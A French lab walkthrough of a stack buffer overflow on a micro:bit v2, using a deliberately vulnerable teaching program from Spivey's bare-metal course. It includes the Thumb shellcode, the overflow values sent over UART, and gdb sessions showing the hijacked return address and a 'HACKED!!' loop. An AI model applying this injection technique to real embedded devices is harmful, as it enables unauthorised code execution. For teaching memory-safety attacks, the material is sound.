

Injection de code par UART sur processeur Cortex-M4

■ ■ ■ Présentation du firmware pour le Micro:bit v2

Ce code est l'exemple *x07-hack* fourni par Mike Spivey. https://en.wikipedia.org/wiki/Michael_Spivey

```
xterm
$ git clone https://github.com/Spivoxity/baremetal-v2.git
cd baremetal-v2
~/baremetal-v2 master $ ls
microbian  x04-numbers  x09-pureasm  x14-processes  x19-servos  x33-clock
setup      x05-subrs     x10-serial   x15-messages  x20-radio
x01-echo   x06-arrays    x11-interrupt x16-sync       x21-car
x02-instrs x07-hack      x12-intrmech x17-driver     x31-adc
x03-loops  x08-heart     x13-neopixels x18-level      x32-infrared
```

Dans le répertoire *x07-hack*, après avoir réalisé un « *make* » :

```
xterm
$ ls
attack      example_capstone.py  lib.o      squirt.c  total.elf
attack.bin  hardware.h           Makefile   startup.c total.hex
attack.o    lib.c                nRF52833.ld startup.o total.map
attack.s    lib.h                squirt     total.c  total.o
```

Le source de *total.c* :

```
/* x07-hack/total.c */
/* Copyright (c) 2021 J. M. Spivey */

#include "lib.h"
#include "hardware.h"

/* serial_init -- set up UART connection to host */
void serial_init(void) { ... }
/* serial_getc -- wait for input character and return it */
int serial_getc(void) { ... }
/* serial_putc -- send output character */
void serial_putc(char ch) { ... }
/* serial_puts -- send a string character by character */
void serial_puts(const char *s) { ... }
/* getline -- input a line of text with line editing */
void getline(char *buf) { ... }
/* print_buf -- output routine for use by printf */
void print_buf(char *buf, int n) { ... }
/* getnum -- read a line of input and convert to a number */
int getnum(void) { ... }
void init(void)
{
    int n = 0, total;
    int data[10];

    serial_init();

    printf("Enter numbers, 0 to finish\n");
    while (1) {
        int x = getnum();
        if (x == 0) break;
        data[n++] = x;
    }

    total = 0;
    for (int i = 0; i < n; i++)
        total += data[i];

    printf("Total = %d\n", total);
}
```

Le programme réalise :

- ▷ la saisie de nombres entrées par l'intermédiaire de l'UART dans le tableau *data* ;
- ▷ la somme de ces nombres et son affichage sur l'UART.

⇒ On va utiliser une attaque par injection et «buffer overflow» ! On peut consulter les adresses des fonctions dans le firmware qui sera flashé sur le micro:bit :

```
xterm
$ arm-none-eabi-nm total.elf | grep print
000003ea T _do_print
00000520 T do_print
0000032a t f_printc
00000244 T print_buf
0000056c T printf
00000534 T sprintf
```

Le contenu du fichier attack.s :

```
@@@ @DIR x1500-hack@/attack.s
@@@ Copyright (c) J. M. Spivey 2020

.syntax unified

.equ printf, 0x0000056c @ Address of printf
.equ frame, 0x2001efa0 @ Captured stack pointer value in init

.text
attack:
    sub sp, #56 @ 0: Reserve stack space again
again:
    adr r0, message @ 2: Address of our message
    ldr r1, =printf+1 @ 4: Absolute address for call
    blx r1 @ 6: Call printf
    b again @ 8: Spin forever
    .pool @ 12: constant pool
message:
    .asciz "HACKED!! " @ 16: string -- 10 bytes
    .align 5, 1 @ pad to 32 bytes
    .word 2, 3, 4 @ 32: fill up to 44 bytes
    .word 5, 6 @ 44: Saved r4, r5
    .word frame @ 52: Faked return address
    @ Total size 56
```

On peut désassembler le binaire attack.o avec le désassembleur « capstone » et son interface en Python :

```
xterm
#!/usr/bin/python3
from capstone import *
import sys

# CODE = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"

# md = Cs(CS_ARCH_X86, CS_MODE_64)
# for i in md.disasm(CODE, 0x1000):
#     print("0x%x:\t%s\t%s" % (i.address,
#                               i.mnemonic, i.op_str))

nom_fichier = sys.argv[1]

try:
    desc= open(nom_fichier, "rb")
except Exception as e:
    print (e.args)
    sys.exit(1)

CODE = desc.read()
desc.close()

md = Cs(CS_ARCH_ARM, CS_MODE_THUMB)
for i in md.disasm(CODE, 0x1000):
    print("0x%x:\t%s\t%s" % (i.address,
                              i.mnemonic, i.op_str))
```

```
xterm
$ python3 example_capstone.py
attack.bin
0x1000:  sub    sp, #0x38
0x1002:  adr     r0, #8
0x1004:  movw   r1, #0x56d
0x1008:  blx    r1
0x100a:  b      #0x1002
0x100c:  adcs   r0, r1
0x100e:  ldr    r3, [pc,
#0x100c]
0x1010:  add    r5, r8
0x1012:  movs   r1, #0x21
0x1014:  movs   r0, r4
0x1016:  lsls   r1, r0, #4
0x1018:  lsls   r1, r0, #4
0x101a:  lsls   r1, r0, #4
0x101c:  lsls   r1, r0, #4
0x101e:  lsls   r1, r0, #4
0x1020:  movs   r2, r0
0x1022:  movs   r0, r0
0x1024:  movs   r3, r0
0x1026:  movs   r0, r0
0x1028:  movs   r4, r0
0x102a:  movs   r0, r0
0x102c:  movs   r5, r0
0x102e:  movs   r0, r0
0x1030:  movs   r6, r0
0x1032:  movs   r0, r0
0x1034:  vaddl.s32 q1, d0,
d1
```

Ici, le désassembleur ne sait pas interpréter les données après le code.

Si on utilise xxd, on voit la chaîne après le code :

```
xterm
$ xxd attack.bin
00000000: 8eb0 02a0 40f2 6d51 8847 fae7 4841 434b ....@.mQ.G..HACK
00000010: 4544 2121 2000 0101 0101 0101 0101 0101 ED!! .....
00000020: 0200 0000 0300 0000 0400 0000 0500 0000 .....
00000030: 0600 0000 a0ef 0120 .....
                ^
                |
                | l'adresse 0x2001efa0 en little-endian !
```

■ ■ ■ Exécution et débogage matériel avec openocd et gdb-multiarch

On va utiliser « *openocd* » pour déboguer matériellement le Microbit :

```
xterm
$ openocd -f interface/cmsis-dap.cfg -f target/nrf52.cfg
Open On-Chip Debugger 0.12.0
Licensed under GNU GPL v2
For bug reports, read
  http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "swd". To override use 'transport
select <transport>'.
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : Using CMSIS-DAPv2 interface with VID:PID=0x0d28:0x0204,
serial=99063602000528209e0741f0a5e4bdf2000000006e052820
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.1.0
Info : CMSIS-DAP: Serial# = 99063602000528209e0741f0a5e4bdf2000000006e052820
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 1 SWDIO/TMS = 1 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 1000 kHz
Info : SWD DPIDR 0x2ba01477
Info : [nrf52.cpu] Cortex-M4 r0p1 processor detected
Info : [nrf52.cpu] target has 6 breakpoints, 4 watchpoints
Info : starting gdb server for nrf52.cpu on 3333
Info : Listening on port 3333 for gdb connections
```

On se connecte avec « *gdb-multiarch* » :

```
xterm
$ gdb-multiarch -q -ex 'target extended-remote :3333'
Remote debugging using :3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x00000186 in ?? ()
Assembly
0x00000186 ? cmp    r3, #0
0x00000188 ? beq.n  0x182
0x0000018a ? ldr    r3, [pc, #16]    @ (0x19c)
0x0000018c ? ldr.w   r0, [r3, #1304]  @ 0x518
0x00000190 ? movs   r2, #0
0x00000192 ? str.w   r2, [r3, #264] @ 0x108
0x00000196 ? uxtb   r0, r0
0x00000198 ? bx     lr
0x0000019a ? nop
0x0000019c ? movs   r0, #0

Registers
r0 0x00000000    r1 0x0000000b    r2 0x40002000    r3 0x00000000
r4 0x2001ef58    r5 0x2001ef58    r6 0x000008d4    r7 0x20000004
r8 0x20000000    r9 0x00000938    r10 0x00000000   r11 0x00000000
r12 0x0000093c   sp 0x2001ef48    lr 0x000001f5    pc 0x00000186
xPSR 0x61000000  fpscr 0x00000000 msp 0x2001ef48   psp 0x00000000
primask 0x00    basepri 0x00    faultmask 0x00    control 0x00

Stack
[0] from 0x00000186
Threads
[1] id 0 from 0x00000186
Variables
>>> add-symbol-file total.elf
add symbol table from file "total.elf"
(y or n) y
Reading symbols from total.elf...
```

On charge la table des symboles pour pouvoir afficher la source du firmware et installer un breakpoint.

Avec la commande « *list* », on obtient le source et de numéros de ligne pour le « *breakpoint* » :

```
xterm
>>> li
101  /* getnum -- read a line of input and convert to a number */
102  int getnum(void)
103  {
104      char buf[64];
105      getline(buf);
106      return atoi(buf);
107  }
108
109  void init(void)
110  {
>>>
111      int n = 0, total;
112      int data[10];
113
114      serial_init();
115
116      printf("Enter numbers, 0 to finish\n");
117      while (1) {
118          int x = getnum();
119          if (x == 0) break;
120          data[n++] = x;
>>>
121      }
122
123      total = 0;
124      for (int i = 0; i < n; i++)
125          total += data[i];
126
127      printf("Total = %d\n", total);
128  }
```

On peut mettre un « *breakpoint* » au moment de l’affichage du « *Total* » dans *gdb-multiarch* :

```
xterm
>>> b 127
Breakpoint 1 at 0x2c0: file total.c, line 127.
Note: automatically using hardware breakpoints for read-only addresses.
```

On lance le programme sur le cortex :

```
xterm
>>> continue
```

On envoi les « *données* » vers le micro:bit par le port UART :

```
xterm
$ ./squirt attack

xterm
$ tio /dev/ttyACM0 -b 9600
[23:10:16.851] tio v2.6
[23:10:16.851] Press ctrl-t q to quit
[23:10:16.851] Connected
Total = 1758749113
Enter numbers, 0 to finish
> -1610436466
> 1366159936
> -403028088
> 1262698824
> 555828293
> 16842784
> 16843009
> 16843009
> 2
> 3
> 4
> 5
> 6
> 536997792
>
```

Dans le shell avec *tio*, on envoi une ligne vide (un retour à la ligne), on est débloquent dans *gdb-multiarch*

On a dans le shell avec gbd-multiarch:

```

xterm
Output/messages
Breakpoint 1, init () at total.c:127
127      printf("Total = %d\n", total);
Assembly
0x000002b4  init+46 ble.n    0x2c0 <init+58>
0x000002b6  init+48 ldr.w    r3, [r5], #4
0x000002ba  init+52 add     r1, r3
0x000002bc  init+54 cmp     r5, r4
0x000002be  init+56 bne.n   0x2b6 <init+48>
!0x000002c0  init+58 ldr     r0, [pc, #12] @ (0x2d0 <init+74>)
0x000002c2  init+60 bl      0x574 <printf+8>
0x000002c6  init+64 add     sp, #40 @ 0x28
0x000002c8  init+66 pop     {r4, r5, r6, pc}
0x000002ca  init+68 nop
Breakpoints
[1] break at 0x000002c0 in total.c:127 for total.c:127 hit 1 time

Registers
r0 0x00000000 r1 0x68d461b9 r2 0x000000d0 r3 0x2001efa0
r4 0x2001efd8 r5 0x2001efd8 r6 0x2001efd8 r7 0x20000004
r8 0x20000000 r9 0x00000938 r10 0x00000000 r11 0x00000000
r12 0x0000093c sp 0x2001efa0 lr 0x00000281 pc 0x000002c0
xPSR 0x61000000 fpscr 0x00000000 msp 0x2001efa0 psp 0x00000000
primask 0x00 basepri 0x00 faultmask 0x00 control 0x00

Source
122
123      total = 0;
124      for (int i = 0; i < n; i++)
125          total += data[i];
126
!127      printf("Total = %d\n", total);
128  }
Stack
[0] from 0x000002c0 in init+58 at total.c:127
[1] from 0x2001efa0
Threads
[1] id 0 from 0x000002c0 in init+58 at total.c:127
Variables
loc n = <optimized out>, total = <optimized out>, data = {[0] = -1610436466, [1] = 1366159936,
[2] = -403028088, [3] = 1262698824, [4] = 555828293, [5] = 168...

>>> p/x &data
$1 = 0x2001efa0
>>> x/5i &data
0x2001efa0:  sub    sp, #56 @ 0x38
0x2001efa2:  add    r0, pc, #8 @ (adr r0, 0x2001efac)
0x2001efa4:  movw   r1, #1389 @ 0x56d
0x2001efa8:  blx    r1
0x2001efaa:  b.n    0x2001efa2
>>>

```

On le « stack pointer » qui pointe sur l'adresse de data

l'adresse de data utilisée dans le source de attack.s

On voit que l'on a chargé les instructions de l'attack dans le tableau data

⇒ Si on poursuit l'exécution du firmware :

- ▷ lors de la fin de la fonction `init` : on restaure le « `pc` » qui avait été sauvegardé sur la pile ;
- ▷ le « `buffer overflow` » a écrasé cette adresse de retour qui était située après le tableau `data`.

```
xterm
Output/messages
0x000002c8 128 }
Assembly
0x000002bc init+54 cmp    r5, r4
0x000002be init+56 bne.n  0x2b6 <init+48>
!0x000002c0 init+58 ldr    r0, [pc, #12] @ (0x2d0 <init+74>)
0x000002c2 init+60 bl     0x574 <printf+8>
0x000002c6 init+64 add     sp, #40 @ 0x28
0x000002c8 init+66 pop     {r4, r5, r6, pc}
0x000002ca init+68 nop
0x000002cc init+70 lsrs    r4, r3, #3
0x000002ce init+72 movs    r0, r0
0x000002d0 init+74 lsrs    r0, r7, #3
Breakpoints
[1] break at 0x000002c0 in total.c:127 for total.c:127 hit 1 time
Expressions
History
$0 = 0x2001efa0: {[0] = -1610436466, [1] = 1366159936, [2] = -403028088, [3] = 1262698824, [4] = ...
Memory
Registers
r0 0x0000000a    r1 0x00000003    r2 0x00000000    r3 0x00000000
r4 0x2001efd8    r5 0x2001efd8    r6 0x2001efd8    r7 0x20000004
r8 0x20000000    r9 0x00000938    r10 0x00000000   r11 0x00000000
r12 0x00000001   sp 0x2001efc8    lr 0x000002c7    pc 0x000002c8
xPSR 0x61000000  fpscr 0x00000000  msp 0x2001efc8   psp 0x00000000
primask 0x00    basepri 0x00    faultmask 0x00    control 0x00
Source
123     total = 0;
124     for (int i = 0; i < n; i++)
125         total += data[i];
126
!127     printf("Total = %d\n", total);
128 }
Stack
[0] from 0x000002c8 in init+66 at total.c:128
[1] from 0x2001efa0
Threads
[1] id 0 from 0x000002c8 in init+66 at total.c:128
Variables
loc n = <optimized out>, total = <optimized out>, data = {[0] = -1610436466, [1] = 1366159936, [2] = -403028088, [3] = 1262698824, [4] = 555828293, [5] = 168...
>>> p/x data
$2 = {[0x0] = 0xa002b08e, [0x1] = 0x516df240, [0x2] = 0xe7fa4788, [0x3] = 0x4b434148, [0x4] = 0x21214445, [0x5] = 0x1010020, [0x6] = 0x1010101, [0x7] = 0x1010101, [0x8] = 0x2, [0x9] = 0x3}
>>> p &data
$3 = (int (*)[10]) 0x2001efa0
>>> p/x $sp - 0x2001efa0
$4 = 0x28
>>> p 0x28 /4
$5 = 10
>>> x/16wx &data
0x2001efa0: 0xa002b08e 0x516df240 0xe7fa4788 0x4b434148
0x2001efb0: 0x21214445 0x01010020 0x01010101 0x01010101
0x2001efc0: 0x00000002 0x00000003 0x00000004 0x00000005
0x2001efd0: 0x00000006 0x2001efa0 0x20000008 0x00000791
>>> x/4wx $sp
0x2001efc8: 0x00000004 0x00000005 0x00000006 0x2001efa0
>>> x/16bx $sp
0x2001efc8: 0x04 0x00 0x00 0x00 0x05 0x00 0x00 0x00
0x2001efd0: 0x06 0x00 0x00 0x00 0xa0 0xef 0x01 0x20
```

on a « supprimé » le tableau `data` de la pile

on est à cette instruction...

on s'est bien décalé de 10 words

l'adresse est à la position 14

on est au sommet de la pile avec `r4`, `r5`, `r6` et `pc`...

affichage des mêmes infos en octets : attention au little-endian !

On vient d'exécuter l'instruction de restauration des registres :

```
xterm
Output/messages
0x2001efa0 in ?? ()
Assembly
0x2001efa0 ? sub    sp, #56    @ 0x38
0x2001efa2 ? add    r0, pc, #8    @ (adr r0, 0x2001efac)
0x2001efa4 ? movw   r1, #1389    @ 0x56d
0x2001efa8 ? blx    r1
0x2001efaa ? b.n    0x2001efa2
0x2001efac ? adcs    r0, r1
0x2001efae ? ldr    r3, [pc, #268]    @ (0x2001f0bc)
0x2001efb0 ? add    r5, r8
0x2001efb2 ? movs   r1, #33    @ 0x21
0x2001efb4 ? movs   r0, r4
Breakpoints
[1] break at 0x000002c0 in total.c:127 for total.c:127 hit 1 time
Expressions
History
$$2 = 0x28 <__vectors+40>
$$1 = 10
$$0 = 0x2001efa0: {[0] = -1610436466, [1] = 1366159936, [2] = -403028088, [3] = 1262698824,
[4] = ...
Memory
Registers
r0 0x0000000a    r1 0x00000003    r2 0x00000000    r3 0x00000000
r4 0x00000004    r5 0x00000005    r6 0x00000006    r7 0x20000004
r8 0x20000000    r9 0x00000938    r10 0x00000000    r11 0x00000000
r12 0x00000001    sp 0x2001efd8    lr 0x000002c7    pc 0x2001efa0
xPSR 0x60000000    fpscr 0x00000000    msp 0x2001efd8    psp 0x00000000
primask 0x00    basepri 0x00    faultmask 0x00    control 0x00
Source
Stack
[0] from 0x2001efa0
[1] from 0x000002c6 in init+64 at total.c:127
[2] from 0xelac7df6
Threads
[1] id 0 from 0x2001efa0
>>>
```

Bingo ! On est sur notre code injecté...

```
xterm
[tio 01:32:41] tio v1.32
[tio 01:32:41] Press ctrl-t q to quit
[tio 01:32:41] Connected
Enter numbers, 0 to finish
> -1610436466
> 1366684224
> -403028088
> 1262698824
> 555828293
> 16842784
> 16843009
> 16843009
> 1
> 1
> 1
> 1
> 1
> 1
> 536997793
>
Total = 1759273387
HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!!
HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!!
HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!!
HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!! HACKED!!
```

Et le résultat est une boucle sans fin de « *Hacked!* »